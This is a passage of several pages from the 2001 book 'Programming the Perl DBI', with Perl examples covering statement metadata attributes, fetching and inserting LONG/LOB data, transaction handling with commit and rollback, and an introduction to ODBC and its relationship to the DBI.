The TYPE attribute contains a reference to an array of integer values representing the international standard values for the respective datatypes. The array of integers has a length equal to the number of columns selected within the original statement, and can be referenced in a similar way to the NAME attribute example shown earlier.

The standard values for common types are:

SQL_CHAR             1
SQL_NUMERIC          2
SQL_DECIMAL          3
SQL_INTEGER          4
SQL_SMALLINT         5
SQL_FLOAT            6
SQL_REAL             7
SQL_DOUBLE           8
SQL_DATE             9
SQL_TIME            10
SQL_TIMESTAMP       11
SQL_VARCHAR         12
SQL_LONGVARCHAR     -1
SQL_BINARY          -2
SQL_VARBINARY       -3
SQL_LONGVARBINARY   -4
SQL_BIGINT          -5
SQL_TINYINT         -6
SQL_BIT             -7
SQL_WCHAR           -8
SQL_WVARCHAR        -9
SQL_WLONGVARCHAR   -10

While these numbers are fairly standard,[61] the way drivers map their native types to these standard types varies greatly. Native types that don't correspond well to one of these types may be mapped into the range officially reserved for use by the Perl DBI: -9999 to -9000.

[61]Some are ISO standard, others are Microsoft ODBC de facto standard. See ftp://jerry.ece.umassd.edu/isowg3/dbl/SQL_Registry and search for "SQL Data Types," or the types names of interest, on http://search.microsoft.com/us/dev/ and browse the results.

PRECISION

The PRECISION attribute contains a reference to an array of integer values that represent the defined length or size of the columns in the SQL statement.

There are two general ways in which the precision of a column is calculated. String datatypes, such as CHAR and VARCHAR, return the maximum length of the column. For example, a column defined within a table as:

location        VARCHAR2(1000)

would return a precision value of 1000.

Numeric datatypes are treated slightly differently in that the number of significant digits is returned. This may have no direct relationship with the space used to store the number. Oracle, for example, stores numbers with 38 digits of precision but uses a variable length internal format of between 1 and 21 bytes.

For floating-point types such as REAL, FLOAT, and DOUBLE, the maximum ``display size'' can be up to seven characters greater than the precision due to concatenated sign, decimal point, the letter ``E,'' a sign, and two or three exponent digits.

SCALE

The SCALE attribute contains a reference to an array of integer values that represents the number of decimal places in the column. This is obviously only of any real use with floating-point numbers. Integers and non-numeric datatypes will return zero.

NULLABLE

The NULLABLE attribute contains a reference to an array of integer values that tells us whether or not a column may contain a NULL value. The elements of the attribute array each contain one of three values:

0

The column cannot contain a NULL value.

1

The column can contain a NULL value.

2

It is unknown if the column can contain a null value.

NUM_OF_PARAMS

The NUM_OF_PARAMS attribute contains the number of parameters (placeholders) specified within the statement.

Common uses for these statement handle attributes are to format and display data fetched from queries dynamically and to find out information about the tables stored within the database.

The following script performs the latter operation by first creating a statement handle that fetches information on all tables, as discussed earlier in Section 6.1.6, "Database Metadata ", and then iterating through each table listing the table structure via the statement metadata:

#!/usr/bin/perl -w
#
# ch06/tabledump: Dumps information about all the tables.

use DBI;

### Connect to the database
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    RaiseError => 1
});

### Create a new statement handle to fetch table information
my $tabsth = $dbh->table_info();

### Iterate through all the tables...
while ( my ( $qual, $owner, $name, $type ) = $tabsth->fetchrow_array() ) {

    ### The table to fetch data for
    my $table = $name;

    ### Build the full table name with quoting if required
    $table = qq{"$owner"."$table"} if defined $owner;

    ### The SQL statement to fetch the table metadata
    my $statement = "SELECT * FROM $table";

    print "\n";
    print "Table Information\n";
    print "=================\n\n";
    print "Statement:     $statement\n";

    ### Prepare and execute the SQL statement
    my $sth = $dbh->prepare( $statement );
    $sth->execute();

    my $fields = $sth->{NUM_OF_FIELDS};
    print "NUM_OF_FIELDS: $fields\n\n";

    print "Column Name                     Type  Precision  Scale  Nullable?\n";
    print "------------------------------  ----  ---------  -----  ---------\n\n";

    ### Iterate through all the fields and dump the field information
    for ( my $i = 0 ; $i < $fields ; $i++ ) {

        my $name = $sth->{NAME}->[$i];

        ### Describe the NULLABLE value
        my $nullable = ("No", "Yes", "Unknown")[ $sth->{NULLABLE}->[$i] ];
        ### Tidy the other values, which some drivers don't provide
        my $scale = $sth->{SCALE}->[$i];
        my $prec  = $sth->{PRECISION}->[$i];
        my $type  = $sth->{TYPE}->[$i];

        ### Display the field information
        printf "%-30s %5d      %4d   %4d   %s\n",
                $name, $type, $prec, $scale, $nullable;
    }

    ### Explicitly deallocate the statement resources
    ### because we didn't fetch all the data
    $sth->finish();
}

exit;

When executed against our megalithic database, the following output is displayed:

Table Information
=================

Statement: SELECT * FROM STONES.MEDIA
NUM_OF_FIELDS: 5

Column Name                     Type  Precision  Scale  Nullable?
------------------------------  ----  ---------  -----  ---------

ID                                 3         38      0  No
MEGALITH_ID                        3         38      0  Yes
URL                               12       1024      0  Yes
CONTENT_TYPE                      12         64      0  Yes
DESCRIPTION                       12       1024      0  Yes

Table Information
=================

Statement: SELECT * FROM STONES.MEGALITHS
NUM_OF_FIELDS: 6

Column Name                     Type  Precision  Scale  Nullable?
------------------------------  ----  ---------  -----  ---------

ID                                 3         38      0  No
NAME                              12        512      0  Yes
DESCRIPTION                       12       2048      0  Yes
LOCATION                          12       2048      0  Yes
MAPREF                            12         16      0  Yes
SITE_TYPE_ID                       3         38      0  Yes

Table Information
=================

Statement: SELECT * FROM STONES.SITE_TYPES
NUM_OF_FIELDS: 3
Column Name                     Type  Precision  Scale  Nullable?
------------------------------  ----  ---------  -----  ---------

ID                                 3         38      0  No
SITE_TYPE                         12        512      0  Yes
DESCRIPTION                       12       2048      0  Yes

This output shows the structural information of entities within our database. We could have achieved the same effect by querying our database's underlying system tables. This would give us more information, but would not be portable.

Previous | Home | Next
5.6. Atomic and Batch Fetching | Book Index | 6.2. Handling LONG/LOB Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling LONG/LOB Data (Programming the Perl DBI)

 Programming the Perl DBISearch this book

6.2. Handling LONG/LOB Data

The DBI requires some additional information to allow you to query back LONG/LOB (long/large object) datatypes from a database. As we discussed earlier in the section on the LongReadLen and LongTruncLen attributes, the DBI is unable to determine how large a buffer to allocate when fetching columns containing LOB data. Therefore, we cannot simply issue a SELECT statement and expect it to work.

Selecting LOB data is straightforward and essentially identical to selecting any other column of another datatype, with the important exception that you should set at least the LongReadLen attribute value prior to preparing the statement that will return the LOB. For example:

### We're not expecting binary data of more than 512 KB...
$dbh->{LongReadLen} = 512 * 1024;

### Select the raw media data from the database
$sth = $dbh->prepare( "
            SELECT mega.name, med.media_data
            FROM megaliths mega, media med
            WHERE mega.id = med.megaliths_id
       " );
$sth->execute();
while ( ($name, $data) = $sth->fetchrow_array ) {
    ...
}

Without the all-important setting of LongReadLen, the fetchrow_array() call would likely fail when fetching the first row, because the default value for LongReadLen is very small -- typically 80 or less.

What happens if there's a rogue column in the database that is longer than LongReadLen? How would the code in the previous example cope? What would happen?

When the length of the fetched LOB data exceeds the value of LongReadLen, an error occurs unless you have set the LongTruncOk attribute to a true value. The DBI defaults LongTruncOk to false to ensure that accidental truncation is an error.

But there's a potential problem here if RaiseError is not enabled. How does the snippet of code above behave if it tries to fetch a row with a LOB field that exceeds the value of LongReadLen? The fetchrow_array() returns an empty list if there's an error when trying to fetch a row. But fetchrow_array() also returns an empty list when there's no more data to fetch. The while loop will simply end and any code following it will be executed. If the loop should have fetched 50 records it might stop after 45 if the 46th record was too big. Without error checking, you may never realize that you're missing some rows! The same applies to loops using other fetchrow methods such as fetchrow_hashref().

Few people remember to check for errors after fetch loops and that's a common cause of problems with code that handles LONG/LOB fields. Even when not handling special datatypes it's always a good idea to check for errors after fetch loops, or let the DBI do it for you by enabling RaiseError, as we discussed in Chapter 4, "Programming with the DBI ".

Getting back to our little snippet of code, let's assume that we are happy for values longer than LongReadLen to be silently truncated without causing an error. The following code stub would correctly handle this eventuality:

### We are interested in the first 512 KB of data
$dbh->{LongReadLen} = 512 * 1024;
$dbh->{LongTruncOk} = 1;    ### We're happy to truncate any excess

### Select the raw media data from the database
$sth = $dbh->prepare( "
            SELECT mega.name, med.media_data
            FROM megaliths mega, media med
            WHERE mega.id = med.megaliths_id
          " );
$sth->execute();
while ( ($name, $data) = $sth->fetchrow_arrayref ) {
    ...
}

The only change, apart from comments, is the addition of a line setting the LongTruncOk attribute to a true value.

The ability to truncate LOB data when overly large is quite useful for text and some forms of binary data, but not for others. Storing streaming media that is interpreted on a temporal basis doesn't unduly suffer from being truncated, as you will be able to view or listen to the stream up until the point of truncation. However, binary files such as ZIP files that store a checksum at the very end will be rendered useless when truncated. With this sort of data, it's not recommended that LongTruncOk be enabled, as it will allow truncated, and hence corrupted, data to be returned with no indication that there's a problem. In that situation, you won't be able to determine whether or not the column contains corrupted data, or if the column has been chopped by DBI. Caveat emptor!

One thing to be aware of when writing portable code to fetch LOB data from a database is that the format of that data may vary on a per-database and datatype basis. For example, in Oracle, a column with a LONG RAW datatype, rather than a simple LONG type, is passed to and from the database encoded as a pair of hexadecimal digits for each byte. So after fetching the hex string, you'd need to decode it using unpack("H*",...) to get the original binary value. For historical reasons, for these datatypes, the LongReadLen attribute refers to the length of the binary data, so hex-encoded strings up to twice that length may be fetched.

The DBI currently defines no way to fetch LONG/LOB values piece-wise, in other words, piece-by-piece. That means you're limited to fetching values that will fit into your available memory. It also means you can't stream the data out while still fetching it from the database. Some drivers do implement an unofficial blob_read() method, so take a look at your driver documentation if you need piece-wise fetches.

6.2.1. Inserting and Updating LONG/LOB Columns

Some databases let you insert into LONG/LOB columns using SQL statements with literal strings, like this:

INSERT INTO table_name (key_num, long_description) VALUES (42, '...')

Ignoring portability for the moment, that's fine for simple short textual strings, but soon runs into problems for anything else. Firstly, most databases have a limit on the maximum length of an SQL statement, and it's usually far shorter than the maximum length of a LONG/LOB column. Secondly, most databases have limits on which characters can be included in literal strings. The DBD driver's quote() method will do its best, but it's often not possible to put all possible binary data values into a string. Finally, coming back to portability, many databases are strict about data typing and just don't let you assign literal strings to LONG/LOB columns.

So how do we avoid these problems? Here's where placeholders come to our aid once again. We discussed placeholders in some detail in Chapter 5, "Interacting with the Database " so we'll only cover LONG/LOB issues here.

To use placeholders, we'd implement the statement above using the DBI as:

use DBI qw(:sql_types);

$sth = $dbh->prepare( "
    INSERT INTO table_name (key_num, long_description) VALUES (?, ?)
" );
$sth->bind_param( 1, 42 );
$sth->bind_param( 2, $long_description, SQL_LONGVARCHAR);
$sth->execute();

Passing SQL_LONGVARCHAR as the optional TYPE parameter to bind_ param() gives the driver a strong hint that you're binding a LONG/LOB type. Some drivers don't need the hint but it's always a good idea to include it.

The DBI currently defines no way to insert or update LONG/LOB values piece-wise, in other words, piece by piece. That means you're limited to handling values that will fit into your available memory.

Previous | Home | Next
6. Advanced DBI | Book Index | 6.3. Transactions, Locking, and Isolation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transactions, Locking, and Isolation (Programming the Perl DBI)

 Programming the Perl DBISearch this book

6.3. Transactions, Locking, and Isolation

The final topic in this chapter deals with the important (and hair-raising!) topic of transaction handling.

Transaction handling is a feature of the more powerful database systems in which SQL statements can be grouped into logical chunks. Each chunk is known as a transaction, and the operations it performs are guaranteed to be atomic for the purposes of recovery. According to the ANSI/ISO SQL standard, a transaction begins with the first executable SQL statement and ends when it is explicitly committed or rolled back.

The process of committing data writes it into the database tables and make it visible to other concurrent users. Rolling back discards any changes that have been made to any tables since the beginning of the current transaction.

The standard example to explain transactions is a bank transfer in which a customer transfers $1000 from one bank account to another. The bank transfer consists of three distinct stages:

  1. Decrease the source account by the required amount.

  2. Increase the target account by the required amount.

  3. Write a journal entry recording the transfer.

When viewed as three separate stages, the possibility of disaster is quite obvious. Suppose there's a power outage between stages 1 and 2. The hapless customer is now $1000 poorer, as the money has neither reached the target account nor been logged in the transfer journal. The bank is now $1000 richer.[62]

[62]No wonder the money is decremented first.

Of course, if the power outage occurred between stages 2 and 3, the customer would have the correct amount of money in the correct accounts, but the bank would have no record of the transactions. This would lead to all sorts of book-keeping problems.

The answer is to treat the three separate stages as one logical unit, or transaction. Thus, when stage 1 starts executing, the transaction is started automatically. The same transaction continues until stage 3 is completed, after which point the transaction can be terminated with all the changes either being committed to the database or rolled back and discarded. Therefore, if a power outage happens at any point during the transaction, the entire transaction can be automatically rolled back when the database restarts and no permanent changes to the data will have been made.

A transaction is an all-or-nothing situation. Either it all works, or it all fails -- which is great news for our luckless bank customer.

Transactions are also sometimes described as having A.C.I.D. properties:

Atomic

A transaction's changes to the database are atomic: either all happen or none happen.

Consistent

A transaction is a correct transformation of the state. The actions taken as a group do not violate any of the integrity constraints associated with the state.

Isolated

Even though transactions can execute concurrently, it appears to each transaction that others executed either before or after it.

Durable

Once a transaction completes successfully (e.g., commit() returns success), then its changes to the state of the database survive any later failures.

Implementing ACID transaction handling within a database requires the use of a journal log file, along with some sophisticated techniques and much careful coding. That's why it's rare to find ACID transactions supported on free databases (with the notable exception of PostgreSQL), and why it carries a performance penalty when it is supported.

On the upside, full transaction handling brings with it far greater safety from power failures, client failures, database failures, and other popular forms of disaster. Simple explicit locking mechanisms do not afford the same level of safety and recoverability, as we shall discuss later.

Since not all database systems support transaction processing, you may not have the luxury of being able to roll back from inadvertent data corruptions or be saved from power outage. But if your database does support transactions, the DBI makes it easy to manage them in a portable manner.

6.3.1. Automatic Transaction Handling

The ISO standard for SQL defines a particular model for transactions. It says that a database connection is always in a transaction. Each and every transaction will end with either a commit or a rollback, and every new transaction will begin with the next statement executed. Most systems also define an auto-commit mechanism that acts as if commit() is automatically called after each statement.

The DBI standard tries to find a way to let all drivers for all databases appear to offer the same facilities, as much as possible. It does this by relying on the fact that there's little practical difference between a database that supports transactions but has auto-commit enabled, versus a database that doesn't support transactions at all.

The DBI standard also tries to ensure that an application written to require transactions can't accidentally be run against a database that doesn't support them. It does this by treating an attempt to disable auto-commit as a fatal error for such a database.

Given that the ability to enable and disable auto-commit is important, the DBI defines a database handle attribute called AutoCommit that regulates whether or not DBI should appear to automatically force a data commit after every statement.

For example, if you issue a statement like $dbh->do() that deletes some data within your database, and AutoCommit is set to a true value, you cannot roll back your change even if the database supports transactions.

The DBI defaults to having AutoCommit enabled, making this potentially dangerous behavior automatic unless explicitly disabled. This is due to the precedent set by ODBC and JDBC. It was probably a mistake for the DBI to put standards compliance above safety in this case. A future version may issue a warning if AutoCommit is not specified as an attribute to DBI->connect(), so it's worth getting used to adding it now.

The behavior of changing this attribute depends on which type of transaction handling your database supports. There are three possibilities:

No transaction support

Databases that have no transaction support are treated as always having AutoCommit enabled. Attempting to disable AutoCommit will result in a fatal error.

Always active transaction support

This group of databases includes mainstream commercial RDBMS products, such as Oracle, that support the ANSI/ISO standard for transaction behavior.

If AutoCommit is switched from being enabled to disabled, no immediate actions should occur. Any future statements that you issue become part of a new transaction that must be committed or rolled back.

If AutoCommit is switched from being disabled to enabled, any outstanding database changes will be automatically committed.

Explicit transaction support

Some databases, such as Informix, support the idea that transactions are optional and must be explicitly started by applications when required.

The DBI attempts to treat these systems as systems that have always active transactions. To accomplish this, the DBI requires the driver to automatically begin a transaction when AutoCommit is switched from enabled to disabled. Once a transaction has been committed or rolled back, the driver will automatically start a new transaction.

Therefore, despite its database independence, the DBI offers both simple automatic transaction committing and powerful manual transaction processing modes.

6.3.2. Forcing a Commit

The DBI defines a method called commit() for explicitly committing any uncommitted data within the current transaction. This method is executed against a valid database handle:

$dbh->commit();

If commit() is invoked while AutoCommit is enabled, a warning will be displayed similar to:

commit ineffective with AutoCommit

which merely tells you that the database changes have already been committed. This warning will also be displayed when commit() is invoked against a database that has no transaction support because, by definition, AutoCommit will be enabled.

6.3.3. Rolling Back Changes

The corollary operation to committing data to the database is to roll it back. The DBI defines a method called rollback(), which can be used to roll back the most recent uncommitted database changes.

Like commit(), the rollback() method is executed against a database handle:

$dbh->rollback();

Similarly, if rollback() is invoked while AutoCommit is enabled, a warning will be displayed similar to:

rollback ineffective with AutoCommit

signifying that the database changes have already been committed. This warning will also be displayed when rollback() is invoked against a database that has no transaction support because, by definition, AutoCommit will be enabled.

6.3.4. Disconnecting, One Way or Another

The transaction effect of explicitly disconnecting from a database while AutoCommit is disabled is, sadly, undefined. Some database systems, such as Oracle and Ingres, will automatically commit any outstanding changes. However, other database systems, such as Informix, will roll back any outstanding changes. Because of this, applications not using AutoCommit should always explicitly call commit() or rollback() before calling disconnect() .

So what happens if you don't explicitly call disconnect(), or don't have the chance to because the program exits after a die? Well, because DBI handles are object references, we can be sure that Perl itself will call the DESTROY method for us on each handle if the program exits, the handle goes out of scope, or the only copy of a handle is overwritten by another value.

The actual implementation of the DESTROY method is in the hands of the driver author. If the database handle is still connected then it should automatically call rollback() (unless AutoCommit is enabled) before calling disconnect(). Calling rollback() in DESTROY is critical. If the driver doesn't, then a program aborting due to a die part way though a transaction may actually "accidentally" commit the incomplete transaction! Fortunately, all the drivers that we're aware of that support transactions do the right thing.

As an extra sanity check, if you disconnect from a database while you still have active statement handles, you will get a warning. We discussed active statement handles and related topics in Chapter 5, "Interacting with the Database ".

6.3.5. Combining Automatic Error Handling with Transactions

Transactions, as you've probably realized by now, are closely related to error handling. This is especially true when you have to clean up after an error by putting everything in the database back to the way it was before the transaction started.

Chapter 4, "Programming with the DBI ", we discussed error handling in some detail and sang the praises of using the RaiseError attribute for automatic error detection.

Imagine combining the automatic error detection of the DBI's RaiseError attribute and the error trapping of Perl's eval { ... } and the error handling properties of transactions. The result is a simple yet powerful way to write robust applications in Perl.

There is a fairly common structure to these kind of applications, so to help us discuss the issues, we've included the following example.

This outline example processes CSV files containing sales data from one country, it fetches currency exchange rate information from a web site and adds that to the data, it then performs a series of inserts, selects, updates and more inserts of the data to update the database. That processing is repeated for a series of countries.

Here's the code:

### Connect to the database with transactions and error handing enabled
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    AutoCommit => 0,
    RaiseError => 1,
} );

### Keep a count of failures. Used for program exit status
my @failed;

foreach my $country_code ( qw(US CA GB IE FR) ) {

    print "Processing $country_code\n";

    ### Do all the work for one country inside an eval
    eval {

        ### Read, parse and sanity check the data file (e.g., using DBD::CSV)
        my $data = load_sales_data_file( "$country_file.csv" );

        ### Add data from the Web (e.g., using the LWP modules)
        add_exchange_rates( $data, $country_code,
                            "http://exchange-rate-service.com" );

        ### Perform database loading steps (e.g., using DBD::Oracle)
        insert_sales_data( $dbh, $data );
        update_country_summary_data( $dbh, $data );
        insert_processed_files( $dbh, $country_code );

        ### Everything done okay for this file, so commit the database changes
        $dbh->commit();

    };

    ### If something went wrong...
    if ($@) {

        ### Tell the user that something went wrong, and what went wrong
        warn "Unable to process $country_code: $@\n";
        ### Undo any database changes made before the error occured
        $dbh->rollback();

        ### Keep track of failures
        push @failed, $country_code;

    }
}
$dbh->disconnect();

### Exit with useful status value for caller
exit @failed ? 1 : 0;

In the following list, we make some observations about how and why the code is structured the way it is and discuss a few related issues:

Unit of work

A key design issue is what the "unit of work" should be. In other words, how much work should we do before committing and thus how much would be undone by a rollback on error? The smallest unit should correspond to the smallest logically complete change to the database. In our example, that corresponds to the complete processing of one country file, and that's what we've chosen as the unit of work here.

We could have opted for a larger unit of work. Processing all the files as one unit would be another obvious choice. In that case, we'd simply need to move the foreach loop to inside the eval. You should be aware that most databases have limits on the amount of database changes you can make without committing. It's usually large, and always configurable, but you need to be aware that there are limits that may bite you if you try to do too much.

Where to commit

It's important to have the commit() inside the eval. The commit call is the most critical part of the transaction. Don't assume that the commit() will succeed just because the previous statements didn't return an error. Databases are free to defer much of the real work till commit is called.

The commit() call should be the very last thing before the end of the eval block. Sometimes it's more tricky. Imagine that the requirements changed and you were asked to make the script delete the files as it processed them. Where would you put the unlink() call? Before or after the commit()? Think about that for a moment. Remember that there's always the risk that either the commit() or the unlink() could fail. You need to weigh up both the risks and the after effects of either case.

Here's how it applies in our example: if you commit first and the unlink fails, then you'll process the file again the next time the script is run. If you unlink first and the commit fails, then you've lost the data. In this case, the lesser of the two evils is clearly to commit first and risk double processing, especially as double processing is probably easy to avoid by checking the data in the file against what's already in the database.

In the real world, things can be rather more complex. However, there are plenty of creative ways to address this two system commit problem. The most important thing to remember is that there is a problem to address whenever some change outside the database has to be committed at the same time that the database changes are committed.

When things go wrong

The first thing to do in your if ($@) {...} block is to print an error message. The error message code helps document what the error handling block is dealing with. And doing it first avoids the risk that another fatal error will happen before your message is printed, thus masking the underlying problem.

Please do yourself and your users a favor by always including as much useful information in your error messages as possible. It sounds simple, but over and over again we see code like:

$dbh->commit() or die "commit failed!"; # DUMB!

Using RaiseError helps here because it generates a message (or Perl $@ variable value) that includes the underlying error from the driver, and the driver and method names.[63]

[63]It also includes the filename and line number of the code where the error happened, but you can strip that off using a regular expression if you like.

So, if you catch an error using eval, remember to print the contents of $@. But don't stop at that. In most applications, there are variables that indicate what's being processed at the time. Including one or more of those, like $country_code in our example, adds valuable context to the error message.

As a general guide, every die or warn should have at least one variable interpolated into it, not counting $! or $@.

Consider protecting the rollback

So things have gone wrong, you've printed your error message, now it's time to rollback(). Pause for a moment. Remember that the database handle you're using has RaiseError set. That means that if the rollback itself fails then a new exception will be "thrown" and the script will immediately exit or jump into the arms of an enclosing eval.

Ask yourself if you're happy for a rollback error to trigger another exception. If not, then wrap it in an eval like this:

eval { $dbh->rollback };

Likely reasons for rollback() failing include database server shutdown or network communications failure, either of which may have been the cause of the error you're handling now. A rollback failure generally means that the database server is having a problem, and it's not worth trying to continue, so the default behavior is often what you want.

Exit status

Returning a reliable success/fail exit status from your scripts, even if you don't think you'll need it, is just good design. We recommend good design.

Death by misadventure

One of the important things to remember with transactions is that any calls made within an eval block can cause the program to die, and many of these calls may be totally unrelated to DBI. Therefore, by using an eval to trap any sort of problem whatsoever, you guarantee that you can cleanly roll back any incomplete transactions.

Previous | Home | Next
6.2. Handling LONG/LOB Data | Book Index | 7. ODBC and the DBI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


ODBC and the DBI (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 7. ODBC and the DBI

Contents:

ODBC -- Embraced and Extended
DBI -- Thrashed and Mutated
The Nuts and Bolts of ODBC
ODBC from Perl
The Marriage of DBI and ODBC
Questions and Choices
Moving Between Win32::ODBC and the DBI
And What About ADO?

Open Database Connectivity, commonly known as ODBC , defines a database-independent API. The ODBC Driver Manager supports the API and manages one or more plug-in drivers for talking to different types of databases. The architecture is shown in Figure 7-1.

Figure 7-1. The ODBC architecture

Doesn't this all sound rather familiar? The ODBC driver manager and drivers are doing just what the DBI and its drivers are doing: defining and implementing a database-independent, application-programming interface.

This leads us to a whole bunch of questions: What's the difference? Why not just use ODBC and not the DBI? Can the DBI and ODBC work together? What advantages does one have over the other?

Before we try to answer those questions, let's get some perspective by looking into the history and goals of ODBC and the DBI, and take a look at the Win32::ODBC module, which implements a direct interface to ODBC for Perl.

7.1. ODBC -- Embraced and Extended

In the early 1990s, a consortium of vendors formed the SQL Access Group to support SQL interoperability across disparate systems. In October 1992 and October 1993, a major part of that work was published as a draft standard entitled "Call Level Interface," or CLI, which is another name for an Application Programing Interface, or API. However, the SQL Access Group CLI standard never really took off. At least, not in that form.

Microsoft needed to implement a similar concept, to avoid having to release multiple versions of any product that needed to talk to multiple databases. They saw the SQL Access Group CLI standard and ``embraced and extended'' it, radically. The result was the Open Database Connectivity interface, which rapidly became a de facto standard. In fairness, Microsoft turned an incomplete paper standard into a fully featured practical reality.

Previous | Home | Next
6.3. Transactions, Locking, and Isolation | Book Index | 7.2. DBI -- Thrashed and Mutated
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI -- Thrashed and Mutated (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.2. DBI -- Thrashed and Mutated

Meanwhile, since September 29, 1992, before ODBC even existed, a group of interested parties had been working on thrashing out a database-independent interface specification for Perl 4. After approximately eighteen months, DBperl (as it was then known) was quite stable, and implementation was about to start.[64] However, at this time, Larry Wall was starting to release alpha versions of Perl 5.

[64]Archaeologists can find the specification of this very old version at http://www.perl.com/CPAN/modules/dbperl/DBI/dbispec.v05.

It soon became apparent that the object-oriented features of Perl 5 could be used to implement a dramatically improved database interface. So the work on the DBI took a new direction and, at the same time, started to be loosely modeled as a superset of the SQL Access Group CLI standard. Thus, at a high-level, the DBI has much in common with both that standard and ODBC as we know it today.

Previous | Home | Next
7. ODBC and the DBI | Book Index | 7.3. The Nuts and Bolts of ODBC
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Nuts and Bolts of ODBC (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.3. The Nuts and Bolts of ODBC

We'll now take a look at the main features of ODBC that set it apart from the DBI and that enable it to work well as a database-independent interface. The four main features are:

  • A standard SQL syntax

  • Standard error codes

  • Rich metadata

  • Many attributes and options

7.3.1. A Standard SQL Syntax

Standardized SQL syntax is something of a Holy Grail. ODBC drivers generally do a good job of implementing it, whereas the DBI just ducks the issue entirely! The problem is that while SQL may be a standardized language in theory, in practice it's far enough from the standard on most vendors' databases to cause portability problems.

For example, even a simple task like concatenating two database fields needs to be written like this (for databases conforming to the SQL-92 standard):

SELECT first_name || ' ' || last_name FROM table

Other databases require one of these forms:

SELECT first_name + ' ' + last_name FROM table
SELECT CONCAT(first_name, ' ', last_name) FROM table
SELECT CONCAT(CONCAT(first_name, ' ') last_name) FROM table
SELECT first_name CONCAT  ' ' CONCAT last_name FROM table

The SQL dialect used by different database systems is riddled with such inconsistencies, not to mention endless "extensions" to the standard. This is a major headache for developers wishing to write an application that will work with any of a number of databases.

The ODBC approach to this problem is rather elegant. It allows portability when using standard SQL, but doesn't prevent access to database-specific features. When an application passes an SQL statement to the driver, the driver parses it as an SQL-92 statement, and then rewrites it to match the actual syntax of the database being used.

If the parse fails because the SQL doesn't conform to the standard, then the original SQL is passed to the database unaltered. That way, database-specific features can be accessed, and the ODBC parsing doesn't get in the way.

The DBI ducked this whole issue because it would require drivers to be far more complicated than they are now. Parsing and rewriting SQL is not a trivial activity; therefore, the DBI does not try to offer SQL-level portability. In practice, that hasn't been a big problem for people. Perl makes it very easy for applications to build SQL statements as needed for the database being used, as we discussed in Chapter 5, "Interacting with the Database ".

7.3.2. Standard Error Codes

If an INSERT statement fails, how can you tell whether it was because the table already has a record with the same primary key? With ODBC, you'd check the SQLSTATE error indicator to see if it was "23000", regardless of the database being used. With DBI, you're on your own.

ODBC defines a large number of standard error codes that you can use to determine in reasonable detail what went wrong. They're not often needed, but when they are, they're very useful. Having said that, this idyllic picture is tarnished by the fact that many of the codes change depending on the version of the ODBC driver being used. For example, while an ODBC 2.x driver returns "S0011" when a CREATE INDEX statement names an index that already exists, an ODBC 3.x driver returns "42S11". So much for standards!

The DBI leaves you with having to check for different $DBI::err values or $DBI::errstr strings, depending on the database driver being used. The DBI does provide a $DBI::state variable and $h- >state() method that drivers can use to provide the standard error codes, but few do at the moment.

7.3.3. Rich Metadata

ODBC defines a wide range of metadata functions that provide information both about the structure of the data in the database and the datatypes supported by the database. The following table lists the functions and shows which are supported by the Win32::ODBC and DBI modules.

ODBC Function | Win32::ODBC | DBI
Tables |  |
TablePrivileges |  |
Columns |  |
ColumnPrivileges |  |
SpecialColumns |  |
Statistics |  |
PrimaryKeys |  |
ForeignKeys |  |
Procedures |  |
ProcedureColumns |  |
GetTypeInfo |  |

As you can see, the DBI lags behind the Win32::ODBC module. By the time you read this book, the DBI may have defined interfaces for some of the functions, but how quickly the drivers actually implement the functions is harder to guess. The DBD::ODBC and DBD::Oracle modules will probably lead the way.

7.3.4. Many Attributes and Options

In trying to be a comprehensive interface to a very wide variety of real-world data sources, ODBC provides a way to tell the application about every minute detail of the driver and data source it's connected to. There are so many details available via the GetInfo() function -- over 200 at the last count -- that we're not going to waste paper listing any of them.

Though some books include the list as a great way of adding impressive bulk, we'll just direct you to the online version at Microsoft:

http://msdn.microsoft.com/library/sdkdoc/dasdk/odch5fu7.htm

If that URL ceases to work, then use the MSDN search facility at:

http://msdn.microsoft.com/us/dev/

and search for SQLGetInfo returns using the exact phrase option. The link you want will probably just be called SQLGetInfo.[65]

[65]Microsoft ODBC functions all have an SQL prefix.

ODBC also provides for a great many knobs and buttons that you can use to tailor the fine details of driver behavior to suit your application. These can be accessed via the following functions:

GetEnvAttr       SetEnvAttr       --  4 attributes
GetConnectAttr   SetConnectAttr   -- 16 attributes
GetStmtAttr      SetStmtAttr      -- 33 attributes

Prior to ODBC 3.x, there was an older set of functions with names that end in Option instead of Attr. These functions are almost identical to those above, but accept a smaller range of attributes. To find details of all these functions, you can use the Microsoft MSDN search procedure described earlier in this section.

The Win32::ODBC module provides access to the GetInfo(), Get /SetConnectOption(), and Get /SetStmtOption() functions. The DBI defines only a very limited subset of this functionality via an assortment of DBI handle attributes.

Previous | Home | Next
7.2. DBI -- Thrashed and Mutated | Book Index | 7.4. ODBC from Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


ODBC from Perl (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.4. ODBC from Perl

So we've established that the ODBC standard is a rather good thing, but how can you use it?

To use ODBC from Perl, there are only two practical options: the Win32::ODBC module and the DBI with the DBD::ODBC module. We'll describe DBD::ODBC first and then take a deeper look at Win32::ODBC.

7.4.1. DBD::ODBC

The DBD::ODBC module was written by Tim Bunce and Jeff Urlwin, based on original code by Thomas K. Wenrich. It's a Perl extension written in C and is not tied to Microsoft Win32 platforms. That makes it a good option for directly using ODBC on Unix, VMS, and other non-Windows systems.

Being a DBI driver, the main goal of the DBD::ODBC module is to implement the functionality required by the DBI, not simply to give access to ODBC from Perl.

The DBD::ODBC driver is described in more detail in Appendix B, "Driver and Database Characteristics ".

7.4.2. Win32::ODBC

The Win32::ODBC module was written by Dave Roth, based on original code by Dan DeMaggio. It's a Perl extension written in C++ and is closely associated with the Win32 platform.

The main goal of the Win32::ODBC module is to provide direct access to the ODBC functions. From that point of view, Win32::ODBC provides a fairly thin, low-level interface.

Here's a sample of Win32::ODBC code:

use Win32::ODBC;

